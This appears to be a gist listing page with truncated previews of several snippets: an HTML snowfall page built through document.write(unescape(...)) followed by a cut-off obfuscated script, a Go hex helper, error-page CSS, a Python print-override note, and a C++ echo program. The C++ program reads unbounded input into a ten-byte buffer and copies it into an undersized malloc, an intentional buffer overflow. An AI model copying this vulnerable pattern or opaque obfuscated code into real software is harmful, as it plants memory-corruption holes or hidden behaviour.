This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script>document.write(unescape("%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%20%6C%61%6E%67%3D%22%65%6E%22%3E%0A%3C%68%65%61%64%3E%0A%20%20%3C%6D%65%74%61%20%63%68%61%72%73%65%74%3D%22%55%54%46%2D%38%22%3E%0A%20%20%3C%74%69%74%6C%65%3E%53%6E%6F%77%66%61%6C%6C%20%42%61%63%6B%67%72%6F%75%6E%64%3C%2F%74%69%74%6C%65%3E%0A%20%20%3C%73%74%79%6C%65%3E%0A%20%20%20%20%62%6F%64%79%20%7B%0A%20%20%20%20%20%20%6D%61%72%67%69%6E%3A%20%30%3B%0A%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%20%62%6C%61%63%6B%3B%0A%20%20%20%20%20%20%6F%76%65%72%66%6C%6F%77%3A%20%68%69%64%64%65%6E%3B%0A%20%20%20%20%7D%0A%20%20%20%20%63%61%6E%76%61%73%20%7B%0A%20%20%20%20%20%20%64%69%73%70%6C%61%79%3A%20%62%6C%6F%63%6B%3B%0A%20%20%20%20%7D%0A%20%20%3C%2F%73%74%79%6C%65%3E%0A%3C%2F%68%65%61%64%3E%0A%3C%62%6F%64%79%3E%0A%20%20%3C%63%61%6E%76%61%73%20%69%64%3D%22%73%6E%6F%77%22%3E%3C%2F%63%61%6E%76%61%73%3E%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E"))</script><script>const _0x1bebe8=_0x56bc;function _0x2e02(){const _ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "fmt" | |
| "math/rand" | |
| "strconv" | |
| "time" | |
| ) | |
| func local_GetRandomHexValue() string { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| body{font-family:'Courier New',monospace;background:#000;color:#f0f0f0;margin:0;padding:20px;text-align:center;min-height:100vh;display:flex;align-items:center;justify-content:center} | |
| .container{max-width:600px;background:#0a0a0a;border:1px solid #333;border-radius:4px;padding:30px 20px} | |
| .logo{white-space:pre;font-size:10px;line-height:1.2;margin-bottom:20px;color:#2563eb} | |
| .icon{width:80px;height:80px;margin:15px auto;display:block;filter:brightness(0) saturate(100%) invert(27%) sepia(51%) saturate(2878%) hue-rotate(214deg) brightness(97%) contrast(95%)} | |
| .code{font-size:48px;font-weight:bold;color:#2563eb;margin:15px 0} | |
| .msg{font-size:18px;margin:15px 0} | |
| .desc{font-size:14px;margin:20px 0;color:#ccc} | |
| .separator{border-top:1px solid #333;margin:20px 0} | |
| .nav{margin:20px 0} | |
| .link{display:inline-block;margin:5px 10px;padding:8px 16px;background:#1a1a1a;color:#2563eb;text-decoration:none;border:1px solid #2563eb;border-radius:4px} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| //// Haxxernote: it throws a security warning, its a bad unsafe function | |
| int main() { | |
| char input[10]; | |
| std::cout << "Enter your name> "; | |
| std::cin >> input; | |
| char* copy = (char*)malloc(strlen(input) * sizeof(char)); | |
| strcpy(copy, input); | |
| std::cout << "Echo -> " << copy << std::endl; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ | |
| This was a weird and niche case scenario. I had a problem where basically, I wanted to capture as much output from the script as possible and | |
| display it on a web UI as a sort of live feed. However, this was only possible to the extent of writing the logs to a logger, or controlling | |
| the code I wrote at the time. | |
| Then I thought - simply; almost every library at the end of the day, even if it calls a logger class, will call print or | |
| some form of sys.stdout. If we override print(), we handle most of the general cases where output gets printed from other | |
| libraries, and can have a better result when trying to detect errors during the runtime. | |
| """ | |
| import builtins |
OlderNewer